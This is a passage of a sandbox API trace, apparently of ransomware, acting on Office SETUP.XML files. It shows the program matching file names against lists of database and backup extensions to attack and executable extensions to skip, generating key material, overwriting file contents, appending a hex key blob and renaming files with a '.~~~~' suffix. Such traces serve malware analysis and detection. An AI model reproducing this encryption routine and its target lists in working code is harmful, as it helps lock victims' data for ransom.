	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.435] lstrlenW (lpString=".dacpac") returned 7
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.435] lstrlenW (lpString=".sdf") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.435] lstrlenW (lpString=".accdb") returned 6
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.435] lstrlenW (lpString=".DBX") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.435] lstrlenW (lpString=".MDT") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.435] lstrlenW (lpString=".SQB") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.435] lstrlenW (lpString=".vhd") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.435] lstrlenW (lpString=".bac") returned 4
	[0081.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.435] lstrlenW (lpString=".mdf") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0081.436] lstrlenW (lpString=".BAK") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0081.436] lstrlenW (lpString=".BAC") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0081.436] lstrlenW (lpString=".dbs") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0081.436] lstrlenW (lpString=".vhdx") returned 5
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0081.436] lstrlenW (lpString=".NDF") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0081.436] lstrlenW (lpString=".dat") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0081.436] lstrlenW (lpString=".DBS") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0081.436] lstrlenW (lpString=".CKP") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0081.436] lstrlenW (lpString=".edb") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0081.436] lstrlenW (lpString=".PST") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0081.436] lstrlenW (lpString=".dbf") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0081.436] lstrlenW (lpString=".SQL") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0081.436] lstrlenW (lpString=".pst") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0081.436] lstrlenW (lpString=".dbv") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0081.436] lstrlenW (lpString=".SDF") returned 4
	[0081.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0081.436] lstrlenW (lpString=".dtxs") returned 5
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0081.437] lstrlenW (lpString=".db3") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0081.437] lstrlenW (lpString=".OST") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0081.437] lstrlenW (lpString=".dbx") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0081.437] lstrlenW (lpString=".DB3") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0081.437] lstrlenW (lpString=".DAT") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0081.437] lstrlenW (lpString=".VHDX") returned 5
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0081.437] lstrlenW (lpString=".ndf") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0081.437] lstrlenW (lpString=".DB") returned 3
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0081.437] lstrlenW (lpString=".sql") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0081.437] lstrlenW (lpString=".MYD") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0081.437] lstrlenW (lpString=".DBT") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0081.437] lstrlenW (lpString=".ACCDB") returned 6
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0081.437] lstrlenW (lpString=".fdb") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0081.437] lstrlenW (lpString=".bak") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0081.437] lstrlenW (lpString=".myd") returned 4
	[0081.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0081.438] lstrlenW (lpString=".DTXS") returned 5
	[0081.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0081.438] lstrlenW (lpString=".ckp") returned 4
	[0081.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0081.438] lstrlenW (lpString=".dbt") returned 4
	[0081.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0081.438] lstrlenW (lpString=".db") returned 3
	[0081.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0081.438] lstrlenW (lpString=".TXT") returned 4
	[0081.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0081.438] lstrlenW (lpString=".MDF") returned 4
	[0081.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0081.438] lstrlenW (lpString=".bdb") returned 4
	[0081.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0081.438] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.438] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394860) returned 1
	[0081.439] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.439] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0081.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.439] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20142919729) returned 1
	[0081.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a63a670, dwHighDateTime=0x1d60e1e)) 
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe130
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe130 | out: hHeap=0x300000) returned 1
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0081.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.440] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0081.440] GetLastError () returned 0x0
	[0081.440] GetLastError () returned 0x0
	[0081.440] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0081.440] GetLastError () returned 0x0
	[0081.440] GetLastError () returned 0x0
	[0081.440] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x648, lpOverlapped=0x0) returned 1
	[0081.443] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff9b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.443] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x648, lpOverlapped=0x0) returned 1
	[0081.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.443] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.443] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.443] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.443] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.444] CloseHandle (hObject=0x120) returned 1
	[0081.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a3178
	[0081.444] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.~~~~")) returned 1
	[0081.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3178 | out: hHeap=0x300000) returned 1
	[0081.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.446] GetLastError () returned 0x0
	[0081.446] RtlWakeConditionVariable () returned 0x365f70
	[0081.446] GetCurrentThreadId () returned 0xaf0
	[0081.446] GetCurrentThreadId () returned 0xaf0
	[0081.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800038
	[0081.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800ce8 | out: hHeap=0x300000) returned 1
	[0081.446] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe168 | out: hHeap=0x300000) returned 1
	[0081.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800ce8
	[0081.446] lstrlenW (lpString=".scr") returned 4
	[0081.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.446] lstrlenW (lpString=".cmd") returned 4
	[0081.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.446] lstrlenW (lpString=".dll") returned 4
	[0081.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.446] lstrlenW (lpString=".bat") returned 4
	[0081.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.446] lstrlenW (lpString=".cpl") returned 4
	[0081.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.446] lstrlenW (lpString=".sys") returned 4
	[0081.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.446] lstrlenW (lpString=".msc") returned 4
	[0081.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.447] lstrlenW (lpString=".com") returned 4
	[0081.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.447] lstrlenW (lpString=".lnk") returned 4
	[0081.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.447] lstrlenW (lpString=".msp") returned 4
	[0081.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.447] lstrlenW (lpString=".pif") returned 4
	[0081.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.447] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.447] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.448] lstrlenW (lpString=".sqb") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.448] lstrlenW (lpString=".ost") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.448] lstrlenW (lpString=".txt") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.448] lstrlenW (lpString=".mdt") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.448] lstrlenW (lpString=".BDB") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.448] lstrlenW (lpString=".eql") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.448] lstrlenW (lpString=".DBF") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.448] lstrlenW (lpString=".EQL") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.448] lstrlenW (lpString=".FDB") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.448] lstrlenW (lpString=".EDB") returned 4
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.448] lstrlenW (lpString=".DACPAC") returned 7
	[0081.448] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.448] lstrlenW (lpString=".VHD") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.449] lstrlenW (lpString=".DBV") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.449] lstrlenW (lpString=".dacpac") returned 7
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.449] lstrlenW (lpString=".sdf") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.449] lstrlenW (lpString=".accdb") returned 6
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.449] lstrlenW (lpString=".DBX") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.449] lstrlenW (lpString=".MDT") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.449] lstrlenW (lpString=".SQB") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.449] lstrlenW (lpString=".vhd") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.449] lstrlenW (lpString=".bac") returned 4
	[0081.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.449] lstrlenW (lpString=".mdf") returned 4
